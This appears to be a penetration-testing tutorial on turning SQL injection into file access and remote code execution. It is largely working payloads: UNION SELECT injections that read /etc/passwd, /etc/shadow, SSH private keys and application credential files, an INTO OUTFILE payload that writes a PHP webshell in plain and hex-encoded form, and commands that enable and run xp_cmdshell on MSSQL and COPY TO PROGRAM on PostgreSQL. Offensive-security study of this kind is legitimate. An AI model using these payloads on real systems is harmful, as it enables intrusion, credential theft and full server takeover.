SQLi can escape the database boundary and touch the filesystem. If the DB user has file privileges and the server isn’t locked down, you can read local files and in some cases write a webshell — turning SQLi into full RCE.
Prerequisites (MySQL)
Two conditions must both be true:
-
FILE privilege — the DB user must have it. Check:
' UNION SELECT NULL, grantee, NULL FROM information_schema.user_privileges WHERE privilege_type='FILE'-- - -
secure_file_privrestriction — this MySQL variable limits which directories file operations can touch:' UNION SELECT NULL, @@secure_file_priv, NULL-- -NULL— file ops disabled entirely""(empty) — no restriction- A path (e.g.
/var/lib/mysql-files/) — only that directory
Reading Files with LOAD_FILE
' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL-- -If the file is readable and the path is allowed, its contents appear wherever column 2 is displayed. If you get NULL back, one of the prerequisites failed.
Alternative syntax with hex-encoded path (useful when quotes are filtered):
' UNION SELECT NULL, LOAD_FILE(0x2f6574632f706173737764), NULL-- -
-- 0x2f6574632f706173737764 = '/etc/passwd'Useful Files to Read
Web server config — find the document root:
| Service | Config Path |
|---|---|
| Apache | /etc/apache2/apache2.conf |
| Apache (per-site) | /etc/apache2/sites-enabled/000-default.conf |
| Nginx | /etc/nginx/nginx.conf |
| Nginx (per-site) | /etc/nginx/sites-enabled/default |
| IIS (Windows) | C:\Windows\System32\Inetsrv\Config\ApplicationHost.config |
Look for DocumentRoot (Apache) or root (Nginx) directives. Once you know where the web server serves files from, you know where to drop a shell.
System files:
/etc/passwd → user list (always readable)
/etc/shadow → password hashes (usually root-only)
/etc/hosts → host mappings, internal names
/proc/self/environ → environment variables of the DB process
~/.ssh/id_rsa → private SSH keys if DB user has home dir
/var/log/apache2/access.log → sometimes reveals internal traffic
Application files:
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
Reading these often exposes DB credentials you can use directly (or confirms the hashes you already dumped).
Writing Files with INTO OUTFILE
The weaponized side. If the DB user has FILE privilege and can write to the web root, you can drop a PHP webshell:
' UNION SELECT NULL,
"<?php system($_GET['c']); ?>",
NULL
INTO OUTFILE '/var/www/html/shell.php'-- -Then trigger it:
GET /shell.php?c=id
Prerequisites for Writing
- FILE privilege (same as reading)
secure_file_privallows writes to the target directory- The MySQL process’s OS user must have write permission on the target directory
- You need to know the web root path (hence the config-reading step)
If writing fails silently and you’ve verified FILE privilege, check secure_file_priv. Many modern distributions set it to /var/lib/mysql-files/ by default, which the web server can’t serve from.
Hex Encoding the Payload
If quotes are filtered, hex-encode the PHP shell string:
' UNION SELECT NULL,
0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e,
NULL
INTO OUTFILE '/var/www/html/s.php'-- -The hex above is <?php system($_GET['c']); ?>.
MSSQL Equivalent — xp_cmdshell
MSSQL has a direct RCE primitive via xp_cmdshell, assuming it’s enabled and you have sysadmin:
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -The second line enables xp_cmdshell if a sysadmin disabled it. Requires SA privileges on the MSSQL instance.
PostgreSQL Equivalent — COPY TO / FROM PROGRAM
'; COPY (SELECT 1) TO PROGRAM 'id'-- -PostgreSQL 9.3+ with superuser privileges can execute shell commands via COPY TO PROGRAM. Output doesn’t come back in-band — you’ll need an OOB channel (DNS, HTTP) to retrieve it.
Finding the Web Root Fallback
If reading the web server config fails (restricted path, non-standard install), try:
- Fuzz common roots —
/var/www/html/,/var/www/,/srv/www/,/usr/share/nginx/html/,/home/<user>/public_html/ - Force errors — some apps leak the path in error messages (try
LOAD_FILE('/nonexistent')and see if the error reveals absolute paths) - Read
/proc/self/cwd— gives the current working directory of the MySQL process, which can hint at the install layout
